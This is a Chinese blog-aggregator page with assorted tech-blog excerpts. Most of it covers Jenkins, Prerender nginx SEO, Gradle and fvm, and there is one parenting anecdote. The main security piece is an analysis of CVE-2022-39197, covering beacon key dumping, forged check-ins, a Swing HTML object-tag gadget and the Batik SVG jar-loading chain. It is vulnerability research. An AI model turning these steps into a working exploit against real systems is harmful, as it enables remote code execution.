除了过滤广告，AdGuard 还提供了「隐形模式」等功能，可以帮助用户远离成千上万的在线跟踪器，保护用户的数据免受网络分析：
它能通过隐藏搜索记录、User-Agent 以及阻止网站通过 Cookie、IP 地址等信息追踪到你，实现对个人信息的有效保护。
AdGuard 还内置了 DNS 保护、危险网站警告、家长控制等功能来为用户保驾护航。当用户即将进入钓鱼、欺诈或恶意网站时，AdGuard 会向用户发出警告。
利用家长控制功能，简单操作就能建立黑白名单，设定允许和禁止访问的网站，配合阻止下载可执行文件的功能，切实避免小朋友接触到有害的网站 / 文件。
实用扩展功能
AdGuard 一大特色在于它提供了强大的可扩展性，通过快速迭代且持续不断的「进化」来切实保护你的网络安全：
- AdGuard 助手：网页悬浮球帮你管理过滤选项；
- 弹窗拦截器：拦截烦人的网页弹窗广告；
- Web of Trust：检测网页的信誉度来判断是否安全；
- AdGuard Extra：应对常规广告拦截规则无效的复杂情况……
AdGuard 是一款少见的，能同时在广告拦截和网络安全上有着亮眼表现的工具，它在扩展功能上的持续开发更显示出了十足的诚意。
如果你需要一款支持多系统 + 全局广告拦截 + 个人隐私保护 + 儿童安全浏览 + 丰富扩展功能的工具，可以选择的大概只有 AdGuard 了！
它是超级聪明的广告屏蔽专家，更是值得信赖的安全防护墙！
马上点击[合作伙伴]专属优惠链接，AdGuard 终生版最低仅需 119 元！新注册用户再享受立减 5 元优惠，心动不如行动，马上入手吧！
- 博客 二丫讲梵 2022-11-27 03:39:08如要阅读全文，点击标题跳转。接到一个需求，是基于 Jenkins 给 unity 打包，unity 则需要在 Windows 环境下构建，因此实现这个需求的第一步，就是需要解决给主 Jenkins 添加一个 Windows 节点的 slave。而 slave 基于Java启动，如何将这个Java启动的命令放到后台启动，就成了一个问题！
- 博客 二丫讲梵 2022-11-25 17:16:51如要阅读全文，点击标题跳转。学习周刊-总第81期-Mac启用clash之后本地hosts失效的解决办法
- 博客 构建我的被动收入 2022-11-24 08:00:00使用RSS与Email打造自己的信息简报。
- 博客 吕小荣的网志 2022-11-21 08:00:00
我和沐沐去肯德基买冰激凌，在门口的广场看到一个年轻人在唱着悲伤的歌，一副大海报矗在面前。
“爸爸，这海报说了什么啊？”，沐沐问。
海报说，他是2021年的毕业生，入职体检时发现了巨型脾大，医生建议他切除脾脏，要花十几万。他工作丢了，但是不愿意向命运低头，现在他在通过唱歌攒钱，治病。
我给沐沐买了冰激凌，在离歌手很远的台阶上坐下。我问沐沐，你要给他捐点钱吗？他看上去挺可怜的。
沐沐答道：“嗯，是挺可怜的。”
那你还记得我让你背诵的箴言吗？愚昧人什么都信，智慧人步步谨慎。The simple believes everything, but the prudent gives thought to his steps.
我给你讲个亲生经历的故事，每年冬天人民广场都会冻死几个乞丐，我以前在人民广场发放过教会采购的棉衣。有个乞丐穿的实在是太破烂了，准确的讲，他的衣服就是一些散了架的丝线。我把棉衣给他时，却被真正的乞丐拦住了，乞丐们说，这个人是骗子。
你怎么能确信这个歌手就真的生病了呢，万一是骗子呢？
沐沐附和道 “我就说吗，一个得病的人，唱歌不可能那么洪亮，他肯定是骗子。”
我紧张的让沐沐小声一些，免的歌手察觉。我又继续追问，你确信他是骗子吗？
“我很确信”，沐沐果断答道。
“我们不知道他的背景，他的的心思意念，所以你的结论很武断，我们只能说’我不知道真相’。要不爸爸去和他聊聊吧。” 我提醒道。
于是我上前询问歌手的血小板的数量，肝脏功能，造血系统指标。歌手说，他还在复查，还在排查病因。
歌手是大概率是生理性巨型脾脏，那么手术治疗可能只是博取同情。
我问沐沐 “这个人的巨型脾脏可能是真的，但是手术费用是假的，我们还要捐钱吗？”
沐沐左右为难。如果歌手是骗子，捐钱给他，我们就是蠢货。如果他真的是病人，不捐钱给他，于心不忍。
我又开导沐沐，在吃冰激凌的半个小时里，我们分析了各种情况。爸爸还是决定捐钱给他，并且留言给他，“如果你是个病人，希望这些钱对你有用；如果你骗了观众，希望你不要继续行骗了，因为你的歌声非常好听，没必要骗人。“
我总结道，“沐沐，今天最重要的一课，时刻保持怀疑，小心求证。”
后续
晚上和妻子吃饭，谈到今天和沐沐的经历，妻子说那个歌手一年前她就遇到过，巨脾是真，手术可能是假。
想到今年超低的大学生就业率，也不忍留言给他了，希望他早日找到工作。
- 博客 技术小黑屋 2022-11-20 21:41:00
Flutter 3 之后，移除了 添加 uploader 的功能，这使得一些使用unpub 的用户很是苦恼，所以想要继续使用命令添加 uploader， 需要切回 flutter 2 才可以。
这里简单介绍一个很便捷的方式来处理上面的问题，就是使用 fvm 来指定 flutter 2 来执行 uploader 添加。
安装 FVM
1 2
brew tap leoafarias/fvm brew install fvm注： 如果没有安装homebrew， 需要安装一下。
使用
如下内容保存为脚本
addUnpubUploader.sh1 2
#!/bin/bash fvm spawn 2.10.3 packages pub uploader add $1 --verbose执行脚本
1bash addUnpubUploader.sh aaa@gmail.comReferrence
- 博客 Jiajun的编程随想 2022-11-20 08:00:00《搭建旁路由》有一台机器处于这样的环境：有DNS污染、无法访问外网，而经常又需要下载一些依赖需要外网。但是这是一台老机器，没有多个网口，因此无法网卡穿透做OpenWRT。那怎么办呢？这个时候，旁路由就可以登场了...
- 博客 二丫讲梵 2022-11-18 17:07:19如要阅读全文，点击标题跳转。学习周刊-总第80期-两个前端代码生成项目与一个go语言时间库
- 博客 晚晴幽草轩 2022-11-15 21:21:00
倾城之链 是基于 Vue2 所构建的单页面应用（SPA），这很不利于 SEO，尤其是之于国内搜索引擎。早在项目之初，采取 SSR 方案对代码侵入性高，也不大方便以 SSG 方案处理；于是乎，便在服务端针对搜索引擎爬虫返回预渲染结果，从而做 SEO 优化；本文就此方案做简单分享。
Prerender 预渲染原理
prerender项目由 Prerender.io 出品（其内部基于 Headless Chrome，与 Google Puppeteer 类似），也可以使用 Prerender.io 提供的服务；它旨在加快向搜索爬虫提供内容的速度，从而提高您的 SEO 分数。只需注册、登录、按照说明进行 Nginx 配置即可；相比自己部署的prerender服务，有更快的速度、更多可选项设置、强大的仪表盘、缓存管理器以及其他缓存相关活动操作。prerender 的原理是，配置 nginx，判断出是爬虫来访时，先将请求页面地址发送给 prerender 服务，由 prerender 服务渲染出页面内容，再将页面内容返回给爬虫。
Prerender is a node server that uses Headless Chrome to render HTML, screenshots, PDFs, and HAR files out of any web page. The Prerender server listens for an http request, takes the URL and loads it in Headless Chrome, waits for the page to finish loading by waiting for the network to be idle, and then returns your content.
架设自己的 prerender 服务
虽然说 Prerender.io 提供了抓取及缓存服务，但当内容超过 1000 条就要收费，对于中小项目，或许得不偿失；当然，完全可以架设自己的 prerender 服务，只要拥有可控制的服务器即可「操作非常简单」。Github prerender 项目中对于如何使用，已经做了详细说明。为使得内容可以快速给到搜索爬虫，最好可以对内容做缓存（基于 Redis 或 memory-cache 都可以）。有在 Github 开源项目： prerender-spa-server ，如果您有类似需求，克隆之，基于 pm2 做下持久化部署即可。
Prerender 是使用 Headless Chrome 来呈现 HTML 的节点服务器，即在你的服务器，要安装
google chrome，否则该服务无法正常工作。修改 nginx 配置文件
搭建 prerender 服务之外，还是要针对项目搜索爬虫，做下额外处理，使之取到预渲染结果。如今，多半 Web 应用都采用 nginx 来配置； 倾城之链 亦是如此；只需在原有配置文件加些判断即可，示例代码如下：
1234567891011121314151617181920212223242526272829location / {set $prerender 0;if ($http_user_agent ~* "Googlebot|googlebot|bingbot|baiduspider|twitterbot|facebookexternalhit|rogerbot|embedly|quora link preview|showyoubot|outbrain|pinterest|slackbot|vkShare|W3C_Validator") {set $prerender 1;}if ($args ~ "_escaped_fragment_") {set $prerender 1;}if ($prerender = 1) {set $prerender "127.0.0.1:3000";proxy_pass http://$prerender;rewrite .* /$scheme://$host$request_uri? break;}proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_set_header X-Client-Verify SUCCESS;proxy_set_header X-Client-DN $ssl_client_s_dn;proxy_set_header X-SSL-Subject $ssl_client_s_dn;proxy_set_header X-SSL-Issuer $ssl_client_i_dn;proxy_read_timeout 1800;proxy_connect_timeout 1800;if ($prerender = 0) {proxy_pass http://localhost:8668;}}修改完配置文件后，记得要使用命令
nginx -s reload重新加载。一切配置妥当，即可发起测试，以验证结果是否符合预期；在终端使用 curl 工具，对目标网址发起访问即可；需要说明的是，网址后面需要添加?_escaped_fragment_标记，主动触发 prerender 渲染服务，以模拟搜索爬虫来源。示例如下：1curl https://your-website-url/?_escaped_fragment_可能存在的问题
Google Chrome 版本过低
前文提及需要安装
google chrome，对于它的版本，截止 2022 年 11 月，已经升级至107.*；您的项目中，对于它的版本，应该尽可能的高些（如果在 70 以下，很有可能出现问题，渲染出的 html 跟实际不相符，莫问吾如何知道💧）。关于在 linux 环境，如何安装新版本的google chrome，可参见文章： How to Install Google Chrome Using Terminal on Linux 。主要步骤如下：123456789# Update the package indexsudo apt updatesudo apt upgrade# Use wget to download the Chrome packagewget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb# Install the downloaded Chrome package.sudo dpkg -i google-chrome-stable_current_amd64.deb以上，即是「如何 Prerender 为 SPA 做 SEO 优化」的主要内容；这种方案，对于主代码侵入性小，效果跟 SSR 方案也别无二致。虽然说 Google 能够对 SPA 页面通过 JavaScript 抓取，各种因素，效果肯定不如渲染后 HTML；感兴趣的朋友可以尝试；如有疑问，欢请留言评论。
其他报错问题
比如可能在腾讯云服务器报如下错误：
2022-11-12T05:02:49.270Z Starting Prerender
2022-11-12T05:02:49.272Z Starting Chrome
2022-11-12T05:02:49.279Z Prerender server accepting requests on port 3000
2022-11-12T05:02:49.292Z Chrome connection closed… restarting Chrome
2022-11-12T05:02:49.293Z Chrome died immediately after restart… stopping Prerender需要首先检查 Prerender 配置是否正确，配置示例如下：
123456789const server = prerender({chromeFlags: ['--no-sandbox','--headless','--disable-gpu','--remote-debugging-port=9222','--hide-scrollbars',],})假如确定配置的话，尝试使用
sudo权限再次运行，重新修改chromeLocation路径（在腾讯云上遇到过此问题，用此办法得以解决）代码示例如下：12345678910const server = prerender({chromeLocation: '/usr/bin/google-chrome-stable',chromeFlags: ['--no-sandbox','--headless','--disable-gpu','--remote-debugging-port=9222','--hide-scrollbars',],})需要补充说明的是，基于 Prerender 为 SPA 做 SEO 优化，即需要在服务器端 运行
google chrome，以获得真实渲染呈现的 HTML；如果将这个 Prerender 服务与其他服务混搭与统一服务器，受抓取频率、服务器配置 等影响，或可能引发 CPU 、内存占用过多问题；如有条件，可分开部署。服务一旦搭建，或可能被别有用心之人利用，需要提前防范；在 prerender-spa-server 最新代码中，增加了域名白名单限制。 倾城之链 基于这种方案改善 SEO，通过近一个月观测，效果还可以。以上，大致是全部内容；如果您感兴趣，欢请留言评论。2022 年 11 月 10 日写于〔深圳福田〕；2022 年 12 月 08 日更新。
您可能感兴趣的文章
- 博客 技术小黑屋 2022-11-14 21:28:00
CI 构建机，一直有概率出现构建失败的情况，查看了日志，得到了这样的相关错误信息
1 2 3 4 5 6 7 8 9
AAPT2 aapt2-7.2.2-7984345-osx Daemon #7: Idle daemon unexpectedly exit. This should not happen. 15:32:49 [ ] AAPT2 aapt2-7.2.2-7984345-osx Daemon #8: Idle daemon unexpectedly exit. This should not happen. 15:32:49 [ ] AAPT2 aapt2-7.2.2-7984345-osx Daemon #0: shutdown 15:32:49 [ +98 ms] AAPT2 aapt2-7.2.2-7984345-osx Daemon #6: Idle daemon unexpectedly exit. This should not happen. 15:32:49 [ ] AAPT2 aapt2-7.2.2-7984345-osx Daemon #4: Idle daemon unexpectedly exit. This should not happen. 15:32:49 [ ] AAPT2 aapt2-7.2.2-7984345-osx Daemon #3: Idle daemon unexpectedly exit. This should not happen. 15:32:49 [ ] AAPT2 aapt2-7.2.2-7984345-osx Daemon #5: Idle daemon unexpectedly exit. This should not happen. 15:32:49 [ ] AAPT2 aapt2-7.2.2-7984345-osx Daemon #1: Idle daemon unexpectedly exit. This should not happen. 15:32:49 [ +499 ms] The message received from the daemon indicates that the daemon has disappeared.解决方法
- 看日志感觉是 Gradle 守护进程的问题
- 想要既保持 Gralde 守护进程，又要解决这个问题，需要更多的时间
- 比较简单的方式就是 禁用 Gradle 守护进程。
命令参数传递
- 适用于能够直接使用
gradlew - 也适用于不想全局应用配置的情况
1./gradlew --no-daemon assembleXXXgradle.properties
- 适用于 无法直接配置
--no-daemon的情况，比如 flutter 执行 Android 构建。 - 适用于全局配置
1 2
## 修改这个文件 ~/.gradle/gradle.properties 如果没有，直接创建即可 org.gradle.daemon=false注意： 这里配置完成，最好执行一下
./gradlew --stop确保不适用已有的守护进程。 - 博客 二丫讲梵 2022-11-12 23:32:33如要阅读全文，点击标题跳转。Mac 的触摸板已经是一大神器，通过辅助软件配置好，将会生发出更大的能量。本文分享记录我的触摸板规则及配置。
- 博客 构建我的被动收入 2022-11-12 08:00:00用GitHub来学习、创作与展示。
- 博客 二丫讲梵 2022-11-11 17:12:17如要阅读全文，点击标题跳转。学习周刊-总第79期-homebrew桌面版与一个类似jumpserver登陆界面的ssh登陆工具
- 博客 胡涂说 2022-11-06 21:21:00909
- 博客 二丫讲梵 2022-11-05 18:51:02如要阅读全文，点击标题跳转。学习周刊-总第78期-k8s管理平台与可视化正则
- 博客 Jiajun的编程随想 2022-11-04 08:00:00《Golang gRPC 错误处理》gRPC 最常见的错误处理方式就是直接返回错误，例如 `return nil, err`，但是实际业务中，我们还有业务码需要返回，常见的方式是在返回的结构体里定义一个错误码，但是这样写起来又很是麻烦，例如，你可能需要这样写...
- 博客 LoRexxar's Blog 2022-11-02 21:14:51
前段时间这个漏洞被挖掘出来之后的时候还是引发了很多关注的，但是最初一直都没有什么像样的分析文章出来，最早看@漂亮鼠的文章之后才大体上对这个漏洞有了一个基本的认识。
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
但是不知道是我的java水平真的不够，又或者说这篇文章中隐去的部分太多了，我顺着文章研究了一段时间但是几个点都串不起来。后来又接二连三的看了几篇文章，直到看完@pang0lin才算是把逻辑串联起来许多
这篇文章不知道什么时候发出来，主要是记录一下整个复现分析的心路历程，以便以后需要的时候没处看。
漏洞原文
https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/
CVE-2022-39197
An independent researcher identified as “Beichendream” reached out to inform us about an XSS vulnerability that they discovered in the teamserver. This would allow an attacker to set a malformed username in the Beacon configuration, allowing them to remotely execute code. We created a CVE for this issue which has been fixed.
这个漏洞在cs的 4.7.1版本中被修复，他允许攻击者可以伪造用户名来构造xss，通过xss利用可以造成RCE。
修复的手段也很简单，就是把这个xss给修了，正所谓只要入口点没了，你后面也利用不起来。
Cobalt Strike与swing
在理解这个漏洞之前，我们首先需要理解cs和swing这个框架的关系。
众所周知，Cobalt Strike是世界上最流行的网站管理工具，cs提供了允许多个目标通过非对称的加密方式链接teamserver，在这个过程中，只要传输的数据可以被teamserver解开，那么这个连接就会上线，这本质上就是一个简单的服务通信逻辑，这没什么问题。
而这个公钥呢可以从Beacon stage的bin文件中获取，相关的脚本其实也可以多，比如
https://github.com/LiAoRJ/CS_fakesubmit
本地测试的话，可以用更简单这个解密脚本获得这个公私钥。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;
class DumpKeys
{
public static void main(String[] args)
{
try {
File file = new File(".cobaltstrike.beacon_keys");
if (file.exists()) {
KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
}
else {
System.out.println("Could not find .cobaltstrike.beacon_keys file");
}
}
catch (Exception exception) {
System.out.println("Could not read asymmetric keys");
}
}
}只要获得了公钥，那么我们就可以向teamserver传入一个虚假的会话上线，通过客户端链接服务端之后就可以看到这条链接。
在这个页面当中虽然说看上去信息很多，实际上可控的部分并不多，这一点在漂亮鼠的文章中有详细的解释，主要是数据结构中的可控点问题
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
这里我们先不深究cs的传输协议，我们只需要关注，在这个页面中可以控制的其实就是中间的会话信息部分，其中包括总共117字节的user、computer、process一共3个部分
而且理论上来说，如果伪造脚本足够合理，那么由这个界面衍生出来的各种界面都是可以控制的，最简单的就比如原文提到的查看进程列表，但其实其他的比如查看文件管理等功能其实都差不多。
而前面说了这么多，和swing有什么关系呢？前面看到的所有画面都是用swing这个库画的，所谓的XSS也来源于这里。
Swing库与Xss
https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
从相关的官方文档可以知道，Swing本身是支持HTML的标签的。
只要在文本的开始加入html标签就会解析html标签，而比较有趣的事情是，这套html的解析引擎是他自己实现的，并不是引了一个第三方引擎。从swing的代码中可以看到这一点。
path: swing.text.html
)
而更有趣的是，类似script这种标签虽然解析，但是并没有用，而是套了一个娃直接关了
而这个漏洞的入口点XSS也正是由于这个原因，网上的很多分析文章也都是到这里为止，算是进了个门口
从Swing XSS 到 RCE
从XSS到实例化任意类？
逻辑走到这里接下来最大的问题就是如何从XSS走到RCE，这也是这个漏洞最有意思的地方。
总所周知啊，一般来说我们常规意义上的XSS利用主要是围绕JS来做文章，即便是那种客户端的xss2rce，大多数也都是建立在Electron的基础上，说白了是在Node的环境下执行JS，由Node才从客户端走到服务端，才构成RCE。
而Swing不一样，它本质上是一个Java的组件，在Java环境上想要靠Xss来执行命令显然是天方夜谈，更关键的是，我们甚至没办法执行JS代码。
而有意思的点就在这里，因为这是一套Swing自己实现的解析引擎，所以它选择不解析script那我们又不能凭空变出来执行js的方法。而恰恰是因为自己实现了这套引擎，Swing自己也整了一些花活。
除了object其实也有一些奇奇怪怪的标签，但是大多数标签都被直接引到HiddenTagView了，只有少数的一些标签有专门的处理逻辑，object这个标签在这个逻辑里面显得有点儿特立独行，所以顺着这个逻辑直接往里走。
Path: swing.text.html.ObjectView.java
从这段代码看到，获取到classid的类会直接实例化并且相应传参，或许看代码可能还没看明白，这段代码上面还有一段范例。
直接快捷复制一下这段代码也可以看到结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26package com.company;
import javax.swing.*;
public class SwingDemo {
private static void createAndShowGUI() {
JFrame.setDefaultLookAndFeelDecorated(true);
JFrame frame = new JFrame("cve-2022-39197");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JLabel label2 = new JLabel("<html><object classid='javax.swing.JLabel'><param name='text' value='sample text'></object>");
frame.getContentPane().add(label2);
frame.pack();
frame.setVisible(true);
}
public static void main(String[] args) {
javax.swing.SwingUtilities.invokeLater(new Runnable() {
public void run() {
createAndShowGUI();
}
});
}
}实际执行效果就是这个
好，现在我们获得了一个可以实例化任何类的入口，接下来的问题在于，我们需要找到一个满足所有条件的入口
自动化寻找符合条件的类
首先我们需要看看这个想要调用的任意类有什么要求
1、这个类必须有无参的构造方法
2、这个类必须继承于Component
3、传入的参数必须是String类型
4、这个传入的参数必须是可写方法，换句话说就是必须有setxxxx方法
5、这个setxxxx方法必须只接受1个参数
把前面的所有条件聚合一下就得出了我们要找的这个类的要求
1、一个继承于Component的类，其中必须包含无参的构造方法。
2、这个类中需要有一个setXXX方法，这个方法必须只接受一个参数，而且可以接受String类型。
现在我们有了一个新的问题，就是如何找一个这样的类？找一个这样的方法？
到这里我们遇到了一个大坎，我研究了好一段时间，网上常用的一些工具我也尝试过一些，有各种各样的bug，最后用来用去还是选了用代码来扫描判断。
首先在IDEA导出继承自Component的所有类
然后直接写代码把所有类名导出来
)直接copy了pang0lin的代码(0v0)，扫描所有类满足条件的方法
最终得到满足条件的所有结果
寻找RCE利用链
逻辑走到这一部分其实基本路就走的差不多了，关键就是如何筛选出有意义的方法。归根结底，其实是这个特征比较特别，只接受一个string类型参数的函数，还是set方法，这种类型的方法大概率都是对于某个参数的预处理，很难涉及到RCE相关的代码。
但这个先放在一边，首先可以去掉一些一看就没什么卵用的方法，比如setName、setLabel、setTitle、setAsText、setToolTipText。
然后还有很多那种多重继承一串的没有什么乱用的方法，就比如
说实话搞到这里，我脑子里想着都是，如果我当时写了java的代码分析工具就好了，我就可以直接扫了，到这块理论上来说只要有一个关键函数入口的判断就能省很多事了，只能快捷一个人工的审。
其实大概翻一翻swing库本身的几个方法，不难发现，swing的库几乎都是围绕窗口的，不是设置content type就是设置title，这类方法不用看都知道没啥用。
所以回到思路本身上来看，问题就在于什么类型的这种方法有可能构成RCE，显然在通用库或者swing上我们找不到这种问题的答案，于是我们将视角放回到cs当中，在更具体的场景下才更有可能找到直接关联到底层的方法。
我们把cs导入到Libraries中，然后重复这样的扫描。
其实到这里稍微筛选一下就很清楚了，主要是像前面一样，set函数基本上没什么功能，稍微花时间翻一下，我们得到最终的目标函数
1
org.apache.batik.swing.JSVGCanvas-->setURI
说实话到这里，如果看其他人发的几篇分析中后续的思路还是都挺神奇的，因为作为web🐕的我，看到load svg肯定脑子里转不过来在svg里加载java代码的想法，我说实话也不知道beichen最早的漏洞逻辑是不是这么走过来的，哪怕是后续复现漏洞的朋友，这个思路也是很妖。
按照web的逻辑去想，一个web层面的东西怎么会联系到java呢，这就要往代码里进去跟进去看了。
首先随便搞一个简单的svg然后引用一下试试看
到这里最关键的是找到具体svg的解析逻辑，但是这块代码不是很好跟，一般来说到xml这里第一反应肯定是XXE，然后我就顺手去搜了一下，结果还找到这个库之前报过的一个XXE漏洞，但是这个漏洞在1.9版本就已经修复了，现在的batik版本已经是1.14。
原文中展示了一个思路挺有意思的，其实走到svg第一反应肯定还是可以执行js，那么我们就尝试执行一个试试看
理所当然的报错了，这里我们顺着报错的执行顺序直接跟到具体的解析代码中
从这里可以找到一个关键方法org.apache.batik.bridge.BaseScriptingEnvironment.loadScripts
在这里的分支逻辑可以明显发现，如果var6不等于application/java-archive，我们就走到了刚才这个走不下去的分支，那么假设我们让var6满足条件，那么我们会走到什么分支呢？
从这里的代码可以明显发现，这里是从var26加载一个jar包，然后加载var13这个类，如果var26可控，那么我们就可以通过这种方式来构造RCE。
原文当中走到这里其实后续就是研究逻辑如何构造满足条件的svg文件逻辑了，但是到这里我想到，既然代码当中留了这样的一个功能，那么理论上来说就应该有类似的官方文档吧，于是开始顺着这个思路去找，首先发现的是，在cs漏洞曝光一段时间之后，batik也修复了这个漏洞。
甚至还有相应的补丁可以找到
https://github.com/apache/xmlgraphics-batik/commit/905f368b50c2567cf2c4869a0ab596a7b1b5125c
顺着这个思路尝试去找这个功能相关的文档，没想到文档没找到，但是却找到了不应该找到的东西
https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
直接进行一个抄
本地测试也顺利执行了
回到CS
在swing这边走完之后，我们先回到CS上，其实CS这边的问题也很简单，其实说白了就是长度问题，因为前面关于cs的交互包里提到过，我们可控的其实只有中间的会话信息部分，其中包括总共58的user、computer、process一共3个部分。
而前面我们构造出来的payload大概是120个字符，也就是说，在这个数据包的构造下我们是肯定没办法利用这个的，其实这部分逻辑在漂亮鼠的文章中已经讲的很详细了，这个绕过的方式也很简单，要不就是想办法找到满足要求的payload，要不就是想办法绕过这个长度限制。
绕过长度限制
首先我们必须要明白一个问题，就是这个所谓的长度限制来源于哪里，在漂亮鼠的分析文章里提到了，这个所谓的117个字节的长度限制，是来自于rsa的加密字符串长度，这一点我们可以在cs_fakesubmit这个脚本当中获得验证。
如果抛开太理论的部分，直接对上线包的做解密也能发现这个问题，可控部分位58个字符
换句话说，就是在数据包层面，这个长度是没办法绕过的，如果说上线包cs做了简单的长度限制和截断，但cs不可能所有的交互都有这样的限制，就比如最简单的获取进程列表，我们也可以从wireshark中确认这点。
而这些大段的数据是通过aes来加密的，同样的也没有长度限制，比较可惜的是，我研究了一下没有找到获取AES密钥的办法，那可以从相对简单的逻辑去解决这个问题，最简单的方式就是想办法控制一个进程名，你可以通过hook底层函数的方式，也可以通过别的任何方式解决，比较可惜的是，windows不允许文件名中包含<>，否则直接新建一个文件都可以实现目标。
符合条件的payload
现在我们将视角转换一下，现在想办法把payload压缩到58个字符以内，如果说object这个表现天生就自带长度无法满足要求，我们就需要寻找一个办法引入一个外界的东西去解决这个问题。我们再将视角转回到swing上面。
按照我们正常的思路的话，无非就两个办法，一个是想办法引入外界的链接或者脚本，比如iframe或者link这类。要不就是想办法拼接多个字符串。
前面的代码分析中也详细提到过，swing自己实现了一套标签解析逻辑，其中大部分的标签都没有实际的功能，而frame标签刚好不同。
这个代码逻辑有点儿怪，如果你直接输入
1
<html><frame src=x>
那么他会走到frameset逻辑里，然后就会有frameset的格式限制，但如果你在frame标签前面加入一点儿字符就能走进frame逻辑，说实话我翻了一下代码也没找到相关的逻辑，不过这个不重要，重要的是后续的问题。
1
<html>a<frame src=x>
如果我们尝试这样的payload，那么会报这样一个错
报这个错的原因是在逻辑中有强制类型转化错误
这里非常怪，因为在我看来这里的报错没有道理，如果说的代码本身没有bug，那么一定是哪里出了问题，我也在网上查了查相关的问题，也有的帖子说这是一个jdk8的问题，但我本地测试是不止影响jdk8的，关键在于这个被强制类型转化的类是从哪来的。然后追溯了一下这个frame的官方调用逻辑发现这个区别在于父组件的类型，如果测试代码是这样写的就可以触发逻辑。
那么顺着这个思路我去cs的代码里找找有没有类似的逻辑，结果果然找到了类似的东西而且的确可以触发逻辑链
在cs里面出现这种代码的位置有几个，主要包括
其中dialog.DialogUtils.java这段代码更像可控点
比较可惜的是，大概翻了一下相关的代码，没有找到那种明显可控的位置，更像是cs的二开或者插件会调用到的函数，而且这个东西也没法调试，算是比较麻烦的一点。这里就先不深入研究这里了，毕竟到这里基本上等于控制非上线包的功能了，其实逻辑基本上和前面模拟交互包类似。
由这里反推前面也能发现，其实frame这个标签本身使用方式没问题，而是场景问题，就像其他几篇文章里面提到的，在部分特定条件下，这个强制类型转化也是可以成功的，而在JEditorPane的组件场景下，如果可控那么payload也是同一个。
写在最后
其实这篇文章短短续续的写了很长时间了，由于不熟java，所以中间文章一度断了很久直至最近才陆陆续续把文章写完，其实思路大体上还是顺着几篇别人的文章来顺着，不得不说还是很佩服挖漏洞以及复现漏洞的几位朋友，中间好几个点我个人感觉思路都很神奇，算是学到了不少东西。
- 博客 MiaoTony's Blog 2022-10-31 21:25:00913
- 博客 晚晴幽草轩 2022-10-31 21:21:00
转眼间，距离「倾城之链」诞生之时，已有六年之久。如今（2022.10.25），倾城收录网站已突破 1000 款，值此之时，有必要督促自己深入思考，不仅是「倾城」过往的总结、未来之设想，更要确立后续业余项目方向、乃至职业规划。于是乎，便有了这篇文章，也有意将其做成年度系列，年与时驰，环境变迁，认知更替，载之于文，以慰这似水流年。
应用名称
倾城之链。
应用平台
Web 应用、小程序、快应用。
应用简介
倾城之链，新一代开放型导航平台，为云集全球「优质网站」而生。在这里，您可以便捷的探索互联网中那更广阔的世界，同时还能分享为您所欢喜的网站。
官方地址
应用简介
探索更广阔的世界，为您
在这个信息化的世界，海量的讯息可能让您不知所措；担心错过她而努力汲取的同时，却可能错过更多；「倾城之链」的存在，即是为您解决这种困扰；在这里，您可以浏览全球各类智慧的结晶；丰富视野的同时，可以标注抑或分享您喜欢的站点，从而为更多挖掘讯息的人提供建设性参考。
分享，为您所欢喜的网站
在当今这信息化时代，即便是再小的个体，也当有自己的品牌。=然而，独立的才是自己的。「倾城之链」作为一个开放平台，鼓励您创造属于您的个人品牌，烙印着自己的风格，替自己代言、发声。如果您已经这样做了，您可以尽情分享在这里，让更多人知道，且从中受益。当然，您也可以分享出您欢喜的其他有意思站点，让您的见识惠及更多人。
应用截图
网站特色
- 收集有价值网站，并在后台审核，力争所收录的内容，可对他人产生积极作用；
- 鼓励用户自荐、推荐欢喜的网站，使得见闻、见识可以互相，从而惠及更多人；
- 尽最大可能为收录的网站，提供完善
推荐语，使用户能轻易知道该网站价值； - 内置搜索功能，并在不断完善中，使得用户可以便捷索引到主动想要的内容；
- 持续在经营的社交网站等，对优质网站，进行分享传播，从而提升其访问量；
- 陆续更新其它功能如箴言锦语(云集所喜欢的曼妙句子)，以促进网站趣味性。
所用技术
- 前端：Vue、vue-router、Webpack、vuex、axios、marked 等
- 后端：Node(Koa2) + MongoDB + Redis 等
- 工具：Mac、Git、VsCode、prettier、Yarn 等；
- 其他： Prerender（For SEO）、Waline（评论）、Gatsby
作者简介
业余独立开发者杨轩帅，目前在国内一家智能手机研发公司做快应用相关；工作内容繁杂，侧重工具型产品的思考与设计，当然也仍会写些代码；出于对高效工作的追求，比较热衷与创造一些好产品 / 工具；相比之下，业余时间写代码会更多一些。
独立开发者？
目前仍是一名
业余独立开发者。工作内外，都有很多想法，以及一些痛点；个人非常倾向将其抽象出来，加以设计，用代码实现出一个工具，或是一款产品，为自己和他人都能带来价值；即便只有自己用，也觉得很酷（极客范儿）。从另一角度回答这个问题，有必要理解下其定义；『独立开发者』，一般指的是“从产品立项、设计、开发、推广、到盈利的闭环全部独立完成的人”。也想有更多志同道合朋友，组成一个团队，聚集起来完成一款产品；但这并不容易，只能是自己事必躬亲，孤军奋战。
因此，目前所开辟的业余项目，包括倾城之链在内，涉及的全部工作，都须自己去完成；在不擅长的领域，难免捉襟见肘，比如 UI 设计、交互设计，运营推广、监控运维等环节。但，始终保持学习，并积极实践，受益匪浅。
项目初衷
